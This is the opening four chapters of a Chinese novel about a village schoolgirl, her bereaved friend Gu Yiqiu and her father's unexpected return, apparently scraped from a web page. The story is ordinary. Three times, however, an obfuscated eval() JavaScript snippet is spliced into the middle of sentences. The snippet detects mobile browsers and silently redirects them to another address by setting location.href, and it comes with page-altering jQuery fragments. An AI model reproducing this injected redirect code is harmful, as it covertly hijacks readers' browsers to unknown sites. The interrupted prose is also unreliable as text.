《飞飞飞飞飞鸟》 1. 第 1 章 一个明晃晃的夏日午后。 风中热浪滚滚,地面烫得惊人,街道寂静,空无一人——除了一个显然并不怕晒的,穿着绿裙子的小女孩。 小女孩白鹊正蹲在路边树荫下,手持一把塑料小铲子,埋头苦挖。 汗珠从头上淌下,她伸手一擦,不小心把汗擦进了眼睛里,好痛!她立刻扔掉铲子,大喊:“救命啊!” 她这样漫无目的地大喊,不知道谁能听见,竟然还真的有人来了。 街对面的一家副食店里跑出一个和她年纪相仿的小男孩,人没到,胳膊先到了,他熟练地递来一张拧干的热毛巾,放在白鹊手里。 白鹊擦了擦眼睛,又使劲眨了眨,过了好半天,总算呼出一口气,“太好了,我还没瞎。” 说完,她又捡起塑料铲子,继续挖坑。 她下铲的地方是一块划出来的松软土壤,围着一棵老槐树的树根,老槐树枝繁叶茂,树根也粗壮虬结,并不会受到丝毫伤害,但这样乱刨乱挖,满地的碎土,还是不太美观。 小男孩也蹲下来,他托腮看着滚到脚边的一块碎石头,他说:“你在这里挖了半个小时了。” “嗯嗯!” 过了会儿,小男孩又说:“你今天不去上学了吗?” 白鹊动作停了,猛地一抬头,从这个角度,她刚好能看见远处街角的水果摊。 她刚开始动手挖的时候,卖水果的李老板还躺在摇椅上睡午觉,现在却已经坐在小凳子上开始削菠萝,白鹊悲伤地意识到,自己好像又要迟到了。 来不及多说了!白鹊把铲子交给小男孩,郑重叮嘱道:“顾一秋!这里就交给你了!一定挖到宝藏啊!” “嗯……”名叫顾一秋的小男孩想把手缩回去,但没成功,他只好点头了,“好吧。” 白鹊眼神坚定,大力拍打他的手背,作革命友谊坚不可摧状,然后果断一扭头,狂奔起来。 顾一秋看向她跑走的方向,那是一条弯弯曲曲的大马路,他先是看见了路边的交通指示牌,上面写着“前方学校,注意避让”。 再看到指示牌上方悬挂着的一条红色横幅,风吹日晒,横幅都褪色了,也掉了几个字,勉强能看出“……工程……调查……意外事故……” 顾一秋收回目光,看向脚边的几棵杂草和被翻得乱七八糟的土堆。 他把杂草收拾好,捡起来,再把土堆恢复原样,最后把塑料铲子擦干净,穿过马路,回到了街对面的副食店。 * 白鹊喜欢放假,讨厌上学。 她的心情总是明显地挂在脸上,谁都能轻易地看出来。 所以,当她扬着笑脸跑进学校,校门口的保安大爷都纳闷了,“哟,这是怎么回事儿?” 哈哈,那当然是因为马上就放暑假啦! 今天是二年级下学期的最后一天,等明天考完试就真的彻底放假了! 下午三点开始上课,现在已经响过预备铃,几乎所有学生都已经坐在教室了,校园里空荡荡的。 白鹊继续奔跑,一口气跑到五楼,好巧不巧,在楼道走廊里和班主任来了个四目相对。 她撒腿狂奔,赶在老师前面冲进了教室。 老师看了她一眼,没多说什么,把水杯一放,开始敲黑板讲课。 这个下午过得很快,老师们没讲多少课本知识,主要是提前强调了暑假的注意事项,说了好几遍注意安全,最后顺便把暑假作业也一起发下来了。 白鹊在座位上坐立不安,好想放假,好想放假! 等到最后的下课铃一响,她反倒有点不舍了,她跑到前几排的一个课桌旁,和另一个小女孩手拉着手互诉衷肠。 白鹊说:“许诗琳,我们什么时候再一起出来玩。” 许诗琳摸了摸自己的双马尾,矜持地说:“看缘分吧。” 白鹊说:“什么意思?” “咳咳,”许诗琳瞪了她一眼,又文雅道:“就是哪天都可以的意思!” 白鹊很欣赏她的优雅,哈哈大笑,拉着许诗琳的手摇了摇,随后不再废话,抱着暑假作业就冲出了教室。 白鹊离开学校,并没有直接回家,而是来到了中午挖宝藏的那片树荫下。 树荫下没有人,铲子也不见了,只剩一片平平整整、完好如初的土壤,完全看不出有人在这里乱挖乱刨过。 看来顾一秋很早就回去了,白鹊有点失望,但还是抱着一丝期待穿过马路,走进那家小小的“乐乐副食店”。 副食店的卷帘门没有完全打开,只拉到了一个成年人能直立通过的高度,店里光线昏暗,也是刚好足够看清货物的亮度。 店里没有大人,只有顾一秋踩着凳子守在柜台后面,他低着头,翻看着几张旧报纸,没注意白鹊走进来。 白鹊弯着腰走近,躲在柜台下的视线死角,等了几秒,猛地一跳,扑在柜台上,鬼一样出现在顾一秋的面前。 很可惜,顾一秋没有被吓到,他转过头看了看墙上的钟表,说:“你放学了。” 白鹊泄气地跳了下去,感觉很没意思,这样完美的一套动作,却没有得到应该有的反馈,她有气无力地问:“顾一秋,你挖到宝藏了吗。” 顾一秋没有回答,他把手里的报纸叠好,放回架子上。 看来这就是传说中的“沉默也是一种回答”,白鹊深沉地点点头,她说:“我明白了。” 白鹊连连叹气,背着手往外走,口中念道:“罢!罢!罢!” 好吧,其实白鹊也知道,路边的树下是不会有宝藏的,所谓的挖出金子,挖出宝石,只是传奇动画片里的虚构情节。 不过,她今天午睡时做了个美梦,梦见这棵榕树下藏着一箱亮晶晶的宝石,梦里的场景太过美妙,她睁开眼睛,翻身下床,抓了把铲子立刻就开挖。 她当然也知道做梦不是现实,但万一呢? 她真的很需要宝石,很需要黄金,很需要钱啊! 白鹊叹息着往外走了两步,却听见顾一秋叫了她一声,他从柜台后绕了出来,说道:“我挖到了一个东西,不知道算不算宝藏。” 啊?还真有这种事? 白鹊很怀疑地看着他。 顾一秋走到柜台前,从那个巨大的泡泡糖糖盒里摸出一个绿色的泡泡糖,递给她,“就是这个。” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068828|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白鹊看着手心里的泡泡糖,很茫然,“这是你从树下面挖出来的?” 顾一秋很平静地点头,说:“对啊。” 白鹊挺喜欢吃糖的,由于妈妈从来不允许她吃糖,她变得更喜欢了,因此,这时候手里拿着一颗泡泡糖,她竟然舍不得放手。 白鹊犹豫道:“这明明就是你家里在卖的泡泡糖啊,不能这样拿店里东西,奶奶会生气的。” 顾一秋摇了摇头,坚持道:“不,这就是我挖到的。” 顾一秋又说:“那是一棵苹果树,所以从树下挖出来的泡泡糖也是苹果味的。” 白鹊感觉事情变得更奇怪了,她看向街对面,纠正道:“那是一棵大榕树啊!” 顾一秋说:“你看错了。” 他的神情太严肃,语气太认真,更何况,他比白鹊大几个月,稍微年长的同龄人,说出来的话总是更令人信服,白鹊简直都有点相信了。 可是……可是…… 别可是了,顾一秋定定地看向街对面,语速很快地:“哎,那里站着的好像是你妈妈,你放学不回家,她肯定等着急了。” 这话一说出来,吓得白鹊撒腿就跑,毕竟她答应过妈妈放学后要立刻回家的。 她答应过的事情,常常都做不到,妈妈每次都恶狠狠地说“下次一定要你好看!” 虽然白鹊始终没有等到过这个“要你好看!”的时机,不知道那时具体会发生什么,但她依然害怕。 * 白鹊低着头狂奔,没敢细看,一口气跑到了长街尽头。 站在这里,能看见不远处的一家“平安诊所”。 诊所整洁明亮,门口有三级台阶,两排木门,诊所之后是一个小院子,这间诊所,连同后面的小院子,就是白鹊的家了。 透过窗户,白鹊看见了妈妈的身影,诊所里还有病人等着看诊,这里除了乡镇医院,就只有妈妈这一个有行医执照的医生,所以她总是忙个不停。 估计顾一秋看错了,妈妈这么忙,哪有时间去抓她,白鹊松了一口气,她倒退着走了两步,想绕去巷子里再玩一会儿。 没走两步,忽然被人从右边拽了拽书包背带,白鹊回过头,看见了阔别几十分钟的好朋友许诗琳。 许诗琳住在另一条街,平时很少到这边来,现在忽然出现在这里,简直是大惊喜,白鹊明白了,原来这就是她所说的缘分! 白鹊还没来得及开口,就听许诗琳“嘘”了一声,许诗琳神秘道:“白鹊……我刚刚听说,你爸爸回来了。” 白鹊愣住了,她疑惑道:“可是我没有爸爸。” 许诗琳“啧”了一声,白鹊赶紧解释道:“我当然知道每个人都有爸爸,可是我妈妈说,我爸爸早就死了,所以……” 许诗琳着急不已,直接拽着白鹊转了个方向,看向诊所后面的小院子。 小院子的空地里停了一辆车,堆了好几个行李箱,一个穿着夹克衫西装裤的男人正坐在台阶上抽烟。 树叶簌簌摇动,一片叶子飘在他头发上,那人抬头看过来,恰好和白鹊的视线对上。 他笑了笑,把烟头按灭在地上,朝这边走来。 2. 第 2 章 白鹊本来想跑的,但许诗琳紧紧抓住她的书包,她跑了一步又被拽回来了。 许诗琳小声提醒她:“我们要讲礼貌。” 好吧,白鹊决定暂且做一个礼貌而成熟的人。 更重要的是,白鹊意识到——这是我家啊,该逃跑的好像不是我吧? 于是,白鹊抬头挺胸,努力直视对面的陌生人,她想,这一天终于还是来了,妈妈终于还是决定给我找个后爸了。 陌生男人走到了面前,他蹲下来,视线刚好和两个小朋友齐平,有风吹过,他的身上飘来一股淡淡的香水味。 许诗琳小声说:“叔叔好。” 白鹊大声说:“叔叔好!” “叔叔”脸上的笑容一僵,他说:“小鹊,我不是叔叔,我是爸爸,你不认识我了吗?” 白鹊手心直冒冷汗,他在说什么?他是人是鬼? 许诗琳被她捏痛了,嗷嗷挣扎甩开白鹊的手,白鹊两只手在空中虚抓了两下,转而紧紧抓住了书包背带。 这位西装革履油头粉面男——这是白鹊从电视上学来的称呼——还是努力维持着笑脸,他说:“没事,爸爸不怪你,走,爸爸带你去下馆子。” 白鹊退了两步,吓得不轻,她瞪着一双大眼睛,看上去试图用眼神把这人定在原地。 然而,这没什么用,对方又往前走了一步,伸出一双大手,看上去想要摸一摸白鹊的头。 在这千钧一发之际,忙碌许久的白医生终于出现了,她站在院门口,冷冰冰地说道:“姓宋的,你洗手了吗。” 眼前这位“姓宋的”陌生男子身体一僵,讪讪地把手缩了回去。 白鹊还没来得及幸灾乐祸,就看见妈妈的视线转向了自己。 妈妈盯了她一会儿,同样冷冰冰地说:“白鹊,说了多少次不准吃外面的零食,更不准吃糖,嘴里嚼的什么?吐掉!去漱口!” 在白医生的眼神扫视到许诗琳之前,她先一步告辞了,她说:“阿姨再见,叔叔再见,朋友!再见!” 白鹊看上去很想和许诗琳一起走,可惜并不能,她只好老老实实走到洗手池边,拿了牙杯开始漱口。 陌生叔叔和她并列站着,拿着肥皂洗手,白鹊偏过头去看他,他也长着一双明亮的大眼睛。 察觉到白鹊在看他,他笑眯眯地甩了甩手,“不小心”把水珠甩在了白鹊头发上。 …… 期末考试结束了,本学期的教学工作暂时告一段落,乡镇优秀青年教师徐老师没有立刻就下班,而是留在办公室里翻看学生的家庭资料。 半小时后,她抓起资料背上包,打算对住在镇上的几个学生进行一次简单的家访。 乡镇学校师资力量有限,徐老师一个人带了好几个班,二年级、三年级都有,她教的是数学,偶尔也会兼职一下语文。 按照徐老师原本的计划,顾一秋并不在需要家访的学生名单里,诚然,顾一秋这个学生聪明、内敛,乖巧懂事,留给她很深的印象,这样一个孩子,不上学是万万不行的,但是…… 他家现在的情况比较复杂,一滩浑水,能不沾边就绝对不要去碰,这是学校所有教职工的共识。 只不过,走着走着,徐老师叹了一口气,脚下拐了个方向,还是走进了“乐乐副食店”。 店里没有客人,只有一个头发花白的老妇人,那是这家副食店的老板,也是顾一秋的奶奶。 徐老师四下看了一圈,笑道:“乐乐奶奶,在忙啊,我来买瓶酱油。” 老妇人原本在埋头剥豌豆,这时候才抬起头来,瞥了徐老师一眼,随手一指,“架子后面,自己拿。” 徐老师讪笑两声,拿了一瓶不知道是酱油还是醋的东西,又问:“顾一秋同学不在啊。” 老妇人放下手里的搪瓷盆,当啷一声,她用一双浑浊的眼睛盯着眼前的人,说道:“徐老师,今天又轮到你来当说客了。” 徐老师在外面顶着太阳走了一路,早就是口干舌燥,现在也没心思去委婉铺垫了,她说:“奶奶,看来有很多老师也和您谈过了,您到底是怎么打算的,顾一秋整整一年没有上学,虽然只是低年级的课程,不是不能弥补,但脱节太久,绝对不是一件好事,这个孩子这么聪明,不能……” “是我的错吗!”老妇人冷不丁大喊一声,她嗓门高,声音却哑,这样提着气说话,让人心里发毛。 她撑着柜台站起来,嘶哑道:“是我的错吗!我儿子被你们学校害死了,等了一年都没有说法,你们这个破烂学校,害死我儿子不够,现在还想害死我孙子吗!” 老妇人不住喘息,徐老师赶紧上前,想伸手搀扶,却被甩开了。 徐老师苦笑道:“奶奶,顾老师的意外谁也没有想到……那间教室所在的楼层现在都已经停止使用,当时装护栏的施工队也被叫去调查,这些事都会有定论的,这不是……还在等一个结果嘛。” 徐老师顿了顿,又说:“我知道您对学校有怨气,但再怎么样也不能耽误孩子学习啊,顾一秋确实是个聪明有天赋的孩子,但就算再聪明……您听过伤仲永的故事吗?” 老妇人冷笑一声,“我儿子,名牌大学师范专业,高级教师,教的就是语文,这么个老掉牙的破典故,你说我听没听过?” 徐老师连连点头,她吞咽一下,犹豫开口:“顾老师确实很优秀,我们都很惋惜,但正是因为这样,他留下的孩子更应该被好好培养……哎呀,总之,无论如何,不能不让孩子上学啊,这一学年又过去了,顾一秋本来该上完三年级的,可现在……” 老妇人不知从哪里找出个鸡毛掸子,一声不吭开始打扫卫生,柜子上灰尘纷纷扬扬,徐老师捂住鼻子嘴巴,后退了两步。 隔着一道门槛,拉开了距离,顾奶奶看过来的眼神还是冰冷愤恨的。 徐老师离开之前,说了最后一句话,“我就住在学校旁边的职工宿舍,如果您愿意的话,趁着暑假有时间,让顾一秋过来找我,我给他补补课,争取把他落下的课程都补上,等下学期开学,他就可以回他原来的班级,正常上学了。” 等到徐老师走远,四周看热闹的人也围了上来,老妇人狠狠“呸”了一声,又拿出一个半秃的扫把,扫得灰尘漫天,把这群闲人也给赶走了。 * 此时,顾一秋正待在平安诊所后面的院子里,坐在石桌前,石凳上,喝一碗银耳汤。 平安诊所今天没有开门,门口张贴了通知,休息半天。 顾一秋安静地把碗里的东西喝完,端着空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068829|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗站起来,他打算自己去把碗洗了。 对面的年轻女人伸手拦住了他,她拍了拍凳子,“坐吧,一秋,你很久没过来玩了,平时家里很忙吧,你是不是经常帮奶奶看店啊。” 顾一秋两只手放在身侧,抓了抓桌子下的空气,他没有回答这个问题,反而问道:“白阿姨,我妈妈这段时间……有联系过你吗?” 这种小孩子装大人的口吻,哪怕语气再平静,再镇定,看在真正的大人眼里,也是一戳即破的。 对面的白阿姨摇了摇头,一时没有说话。 他口中的白阿姨,也就是白鹊的妈妈,白伊水,难得的一个走出小镇又回到家乡的人,虽然回来的时候,不明不白带了个孩子回来,但她有文化,医术高明,受人尊敬,即使在这种思想较为落后的乡镇地区,也没多少人敢说她的闲话。 唯一一点会被人议论的,就是她脾气不太好,性格也比较孤僻,白伊水在镇上开办私人诊所六年了,来来往往多少邻居乡亲,这样日复一日地接触下来,不说交友广泛,至少也该有三五个知心好友,但她下班后根本不和人来往,经常联系的,关系亲近的,竟然只有一个人。 那个人就是顾一秋的妈妈,顾老师的老婆,关小琴。 白伊水和关小琴走得近,连带着两家的孩子也玩得好,早些年还开玩笑要互认干亲,但这其中涉及到的规矩太多,她们都觉得麻烦,也就算了。 不管干亲结成没有,两家的关系好是事实。 去年夏天,也是快放暑假的时候,顾老师在查午休纪律的时候,不慎从教学楼坠亡。 意外发生后,学校和顾家为了赔偿金的问题撕扯不休,顾老师的妻子关小琴留下一张出走纸条,一夜之间忽然失去踪迹,众人震惊茫然之下,都来找白伊水探听消息。 无论谁来问,白伊水都是一个答案,不知道,不清楚,不熟悉。 当然了,现在事情已经过去一年多了,无关人员的好奇心都消散了,只有她真正的家人还在执着她的踪迹。 白伊水戴着一副银灰色的细框眼镜,隔着镜片看人的时候,显得气质越发冷淡。 她犹豫一会儿,才说:“一秋,大人的事你不要管了,你妈妈很安全,也有独立生活的能力,你先照顾好自己吧,你奶奶那边,阿姨也会帮忙去劝,下学期一定要去正常上课,你平时有在看书吧?” 顾一秋点头,他说:“白鹊带给我的习题我都有做。” 白伊水脸色一僵,她怒道:“她是拿自己的作业让你帮她写吧!” 顾一秋有些出神,过了会儿,他又问道:“白阿姨,我妈妈真的没有和你联系吗?” 他看了看四周,压低声音,说:“我不会告诉其他人……更不会告诉我奶奶。” 白伊水沉默地看着他,真是个懂事的孩子,她眼里带着怜惜,但还是摇头了,她说:“没有,我不知道她去了哪里。” 顾一秋显然很失落,他站起来,想先回家了,白伊水却对着院子后面大喊一声,“姓宋的!把白鹊给我叫起来,谁告诉她放暑假就可以一直睡懒觉的!” 转过头来,白伊水的语气又变得温柔,她笑眯眯地说:“一秋,你帮我监督她写作业,等写完作业,在阿姨这里吃过晚饭再走吧。” 3. 第 3 章 盼望着,盼望着,美好的暑假终于到来了。 但白鹊总觉得哪里不太对,怎么和她想象中的快乐生活不太一样呢。 这个夏天确实比较特殊。 首先是家里多了一个人。此人来历不明,身份成谜,在这个家里的定位也非常模糊。 白鹊问妈妈,那个“姓宋的”真的是我爸爸? 白伊水没有承认,但也没有否认,她转过身,沉默着整理那几个装满瓶瓶罐罐的药品架子。 在她沉默的时候,陌生男人不知从哪里掏出来几张相片,拿给白鹊看。 这几张相片没加塑封,都有些泛黄了,第一张是一对青年男女的合照,随着时间推移,背景变化,一张张往后翻,青年男女的神情变得成熟,两人中间还多了个坐在学步车上的小女孩。 “这是你,这是我,”陌生男人对白鹊介绍道,又指了指远处的白伊水,小声道:“那是你妈妈,她当时还是卷头发,是不是很好看?” 白鹊点点头,说:“妈妈什么发型都好看。” 又看了他一眼,如实评价道:“其实你也不差啦。” 陌生男子哈哈大笑,不知又从哪里掏出一顶鸭舌帽,盖在白鹊头上,两手抄在她的腋下往空中一抛,“走咯,老爸带你出去玩!” 白鹊回头看妈妈的脸色,发现妈妈没有阻拦的意思,也放下心来,开开心心地出门逛街去了。 几天过去,白鹊也差不多摸清了这个人的真实身份,看来他不是后爸,而是亲爹,至于从前妈妈所说的“你爸早就死了”,多半只是气话,以此推测,他们之间的感情有些复杂。 这都是电视里经常上演的情节,虽然有点曲折,但白鹊也可以理解,真是人生如戏啊。 基于这个事实,白鹊对他的称呼也是灵活多变的,当妈妈不在场时,她可以给他个面子,称呼他为“爸爸”。 当妈妈在场时,她当然要和妈妈统一战线,对亲爹的称呼也变成了,“姓宋的!” “姓宋的”脾气挺好,女儿这么没大没小,颐指气使,他也不生气,反而觉得很有意思似的,整天都笑呵呵。 上述事情被白鹊写进作文里,充当语文作业,由于新鲜素材太多,她一口气写了二十篇作文,直接把整个暑假的语文作业都写完了。 白鹊扔下笔,跳下椅子,看了看屋檐下明晃晃的地面,再看远处妈妈在诊所里忙碌的背影,她轻轻推开房间门,打算溜出去玩。 肩膀忽然被人拍了拍,白鹊回过头,发现“姓宋的”正笑眯眯地看着她。 “爸爸……”白鹊小声说道:“我要出去玩,不能陪你了,你自己在家待着吧。” 说完,她就要往外走,袖子却被扯住了,她努力跑了几步没跑动,看向始作俑者,瞪了他一眼。 姓宋的还是笑呵呵的,笑着对她说:“天气这么热,就在家里玩,别出去了。” 晴天霹雳! 白鹊从前只知道妈妈会管教她,现在才意识到,原来,这个忽然冒出来的爸爸也有资格管她。 更何况,从前的假期里,妈妈总是在忙,其实没多少时间管她,白鹊只要不被发现,不被逮住,就是自由自在,无拘无束的,想什么时候出去玩就什么时候出去玩,想去哪儿就去哪儿。 而这个忽然出现的爸爸,他游手好闲,无事可做,整天不是跟在妈妈身后转,就是跟在自己身后转,有的是时间来管她。 白鹊感觉很伤心,她说:“家里好无聊。” 白鹊又重新坐回书桌前,她翻了一会儿自己的文具盒,看到一支以前顾一秋给她的钢笔,灵机一动,“外面很热,但顾一秋的家里很凉快,我去找他玩可以吗?” 姓宋的眉毛轻轻一皱,他念着“顾一秋”这个名字,念了几遍,恍然道:“噢!可以啊,不过——” 这些大人真讨厌,简单的一句话总是要加个转折,白鹊也学他皱起眉毛,问道:“不过——什么啊?” “哈哈,爸爸差点给忘了,”姓宋的有点不好意思地说:“你妈妈让我提醒你来着,让你和顾一秋一起去找徐老师,请徐老师给你们梳理一下学习计划。” 又一道晴天霹雳! 白鹊以前从来没想过暑假也会有学习计划,暑假和学习,这两个八竿子打不着的词语忽然联系到一起,无情击碎了她对夏天的畅想。 …… 白鹊来到顾一秋住的楼下,对着三楼的窗户大喊他的名字,静悄悄的午后,蝉声像海浪一样飘来飘去,有点烦人,又有点催眠。 白鹊喊了两声,就不自觉地看着树梢发呆,没留意顾一秋已经从楼上下来了,站在她面前,说:“走吧。” 白鹊看他身上还背着一个挎包,伸手去掂了掂,诧异道:“这么重,你背的石头吗?” 顾一秋摇头,把挎包打开给她看,里面全是书。 还不如背石头呢! “你不要在包里装这么多东西,太重了,”白鹊语重心长道:“会压得你长不高的。” 顾一秋转过头来看她,伸出手来比了一下,“可是我比你高啊。” 白鹊“哼”了一声,摇头道:“你不懂,走着瞧吧。” 顾一秋忽然往前一蹿,跑了起来,他说:“还是跑着瞧吧!我们要迟到了——” 顾一秋跑得很快,白鹊也不甘示弱,两人跑过金灿灿的一条长街,跑进一条小巷里,这里没有太阳了,有风一下扑进衣服里。 巷子后面就是小学的教职工宿舍,白鹊站在宿舍楼下,抬头往上看,忽然想起来,其实以前顾一秋的爸爸也是住在这里的。 顾老师是个很斯文很勤勉的人,他对待工作很认真,很刻苦,学校的大事小事都可以交给他,他从来没有怨言,为了方便在学校的工作,他宁愿住在这个狭小的单人宿舍,也不愿意回到他真正的家。 从前,白鹊去顾一秋家里玩,好像从来没有见到过顾老师,在那个宽阔的,没什么家具的房子里,只能见到关阿姨,还有顾奶奶。 “走了。”顾一秋伸手在她眼前挥了挥,先一步踩上楼梯。 白鹊连忙回神,小跑几步跟了上去。 果然是迟到了,徐老师的宿舍门开着,里面有学生已经到了——是许诗琳。 徐老师顺着许诗琳的目光看过来,看到白鹊和顾一秋,又低头看了看手表上的时间,满意道:“很好,人到齐了,我们开始吧。” 白鹊问:“徐老师,就只有我们三个人啊。” 徐老师点头道:“够多啦,再来一个都要站到门外面去。” 教职工宿舍的面积确实不大,窄窄的一个空间,除开徐老师原本的家具,勉强多摆了一张书桌,三个小矮凳。 不过,空间狭小并不是学生少的根本原因,主要还是因为——学生家长对徐老师并不信任。 徐老师不是办的课外辅导班,并不收费,只是说帮忙给学生们制订暑期计划,定期关心一下学生的学习进度,不至于让学生们在漫长的暑假里太过懒散。 徐老师要是收费,倒还有些可信度,开辅导班挣钱嘛,赚点外快,太常见了。 徐老师却并不收钱,她利用自己的休闲时间无偿教学,反而令人怀疑了。 再加上,每个学生家里情况不一样,对于宝坪镇的大多数家长而言,小学生而已,只要按时上课就够了,根本不需要再费多余的心思。 种种原因综合下来,来的只有这么三个人。 “从今天起,你们就是一个学习小组了,大家相互帮助,共同进步,”徐老师这么说道,又说:“先把期末考试的试卷拿出来看看吧。” 期末考试只考两门,语文和数学,难度不大,只要上课认真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068830|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听,作业认真写,成绩也不可能差到哪儿去。 白鹊和许诗琳拿出自己的试卷,顾一秋面前空空如也——他这一年都没有去学校上课,自然也不会参加考试了。 徐老师视线一顿,又改了主意,“试卷下次再讲,把笔记本拿出来,我们先安排一下暑期计划。” …… 最终定下的安排是这样的—— 除正常的寒假作业外,额外增加每周两篇日记、十道数学大题。 另外,从今天开始,每周六下午都要在这里集合,到时候带上作业给徐老师检查,如果有什么问题,也可以让徐老师现场答疑。 计划定好,今天的“课程”也可以结束了,但徐老师看了看阳台外面的天色,现在正是下午三点,日头正烈。 她把风扇打开,告诉三个学生,接下来就是自习时间,安静学习,等外面不那么晒了再回家吧。 说完,徐老师就走到阳台洗衣服去了。 老师一走,白鹊就往前一倒,双手伸出去,趴在了书桌上。 她昨晚没有睡好,今天又起得太早,她房间里的窗帘透光,而现在太阳升起的时间又太早,光线太强,一大早就把她给晃醒了。 桌面冰冰凉凉的,很舒服,白鹊很快就睡着了,半小时后手臂麻了才醒过来。 白鹊重新坐直身体,发现徐老师已经洗完衣服,正在阳台上晾衣服,许诗琳在草稿纸上画画,她已经画了好几张四格漫画。而顾一秋…… 白鹊睡着的时候他在做数学题,她醒了,他还在做数学题,顾一秋自己带了一本空白的习题册,半小时过去,已经翻到了整本书的三分之一。 白鹊撑着头看他,盯了好几分钟,他都保持着同一个坐姿,腰背挺直,只有手上的笔在动,他专注地做题,根本没有察觉到外界的变化。 白鹊发现了一件事,顾一秋看上去真的很喜欢做题,或者说,他真的很喜欢学习。 他这么久都没有去学校上学,白鹊其实觉得很羡慕,以前问他有什么感受的时候,他也只是说,无所谓,没关系,都可以。 白鹊现在才意识到,可能……大概……顾一秋其实是很想去上学的吧。 那么,再想想顾一秋不去上学的原因,是因为他爸爸顾老师在学校里出了事故,意外去世了,在学校给出一个满意的解决方案之前,他奶奶不准他再去学校上学。 白鹊从来没有真正经历过亲人的离世,也不知道那是什么感觉,顾老师下葬那一天,隔着人群,白鹊看见了送葬队伍里的顾一秋,他胸前戴着白花,低着头,没什么表情。 当时的顾一秋看上去和平常差不多,顶多就是脸色苍白一点,反应慢一点,他表现得这么寻常,白鹊也很快把这件事抛之脑后,反正她自己的爸爸也“早就死了”,平时生活好像也没差啊。 那段时间,白鹊还像往常那样,经常去副食店里去找他玩,他坐在店里光线昏暗的角落里,翻看那些顾老师从前订的旧报纸,神情还是那么淡然,冷静。 再然后,关阿姨离开了家,顾奶奶对顾一秋看得特别紧,不允许他去“杀人的学校”上学,平时也不许他离开视线,他的生活又发生了许多变化。 他始终没有表现出什么伤心痛苦,白鹊对他佩服不已,这大概就是传说中的高手的从容吧。 现在想来,顾一秋当时应该很难过吧。虽然他并不会承认。 她盯得太久了,顾一秋都从题海中抬起头来,疑惑地看向她。 白鹊笃定道:“我发现了你的一个特点。” “……什么?” 白鹊摇头不语,高深莫测地伸出手,摸了摸顾一秋的头发。 顾一秋不明所以,也伸手摸了摸自己头顶,没发现什么多出来的小虫子,也没有别的东西被放上去,这才放下心来,继续低头做题了。 4. 第 4 章 夏天的时间总是走得很慢。 白鹊感觉自己今天做了好多事,仿佛已经过去了三天三夜,然而,抬头一看,太阳竟然还没落山。 三个小朋友走出楼道,恰好看见一只燕子从屋檐下飞出来,贴着地面飞过,盘旋两圈,又很快飞走。 白鹊看向天边,天色灰蒙蒙的,快下雨了。 许诗琳的家离得最近,她还没来得及和白鹊多说几句话,就已经走到了自家楼下,她难得出门一趟,不太想这么早回家,唯一有点担心的,就是待会儿可能会下雨。 脚下这条路不知道是用什么材料修的,前段时间被一辆大卡车压过,直接裂了条两米长的缝,现在路边堆着水泥、石沙,各种材料齐全,就是没人来修。 路边风一吹,沙土飞得到处都是,要是再一下雨,那场面简直无法想象。 不过,就算天色已经阴沉下来,许诗琳还是不太想回家。 她这样依依不舍,一步三回头的,看上去就是一副很想被人挽留的样子。 白鹊一把抓住她,说:“别走,我们再玩一会儿,玩二十分钟吧!” 作为班上的模范优等生,许诗琳的父母对她管得很严,即使是暑假,也要有严格的作息,不能放纵,做什么事都要有教育意义,每天不能玩超过半小时。 今天许诗琳出门是为了参加徐老师的“暑期学习计划”,目的是为了学习,所以可自由活动的时间也延长了很多。 许诗琳看了看天色,有点犹豫,“如果下雨了怎么办?” 没关系啊,找个可以避雨的地方不就好了嘛。 白鹊想到了一个绝妙的好主意,“我们可以去顾一秋家里玩,他家地方很大,又没有大人在家,我们想干嘛就干嘛,根本没人管。” 顾一秋的家里很安静,有很多书,很多植物,虽然东西多,但一点也不吵,不像白鹊家里,总是来来往往很多人,一个接一个地找妈妈拿药。 白鹊最喜欢的就是顾一秋家里的阳台,那里有一把竹编的摇椅,她躺在摇椅上,抬起头来,可以看见窗边缠绕的葡萄藤。 许诗琳想了想,面露难色,“我不敢去,万一碰到顾一秋的奶奶就糟糕了,顾奶奶每次见到我都对我好凶,我觉得她一点都不喜欢我。” 白鹊安慰道:“没事的,顾奶奶对所有人都很凶啊。” 这是实话,但许诗琳看上去并没有被安慰到,她说:“也没有吧,我觉得她对白阿姨就很好。” 这倒也是,顾奶奶对白鹊的妈妈总是客客气气的,偶尔还主动打招呼呢,这种和善的态度对顾奶奶来说实在是非常难得。 白鹊陷入思考,“好像是哦……为什么呢。” 顾一秋站在旁边,一直没有参与对话,这时候却忽然说道:“我奶奶喜欢有文化的人。” 白鹊恍然大悟,“原来是这样,怪不得她那么喜欢顾叔叔,但是不喜欢关阿姨。” 顾叔叔指是顾一秋的爸爸,顾乐道。 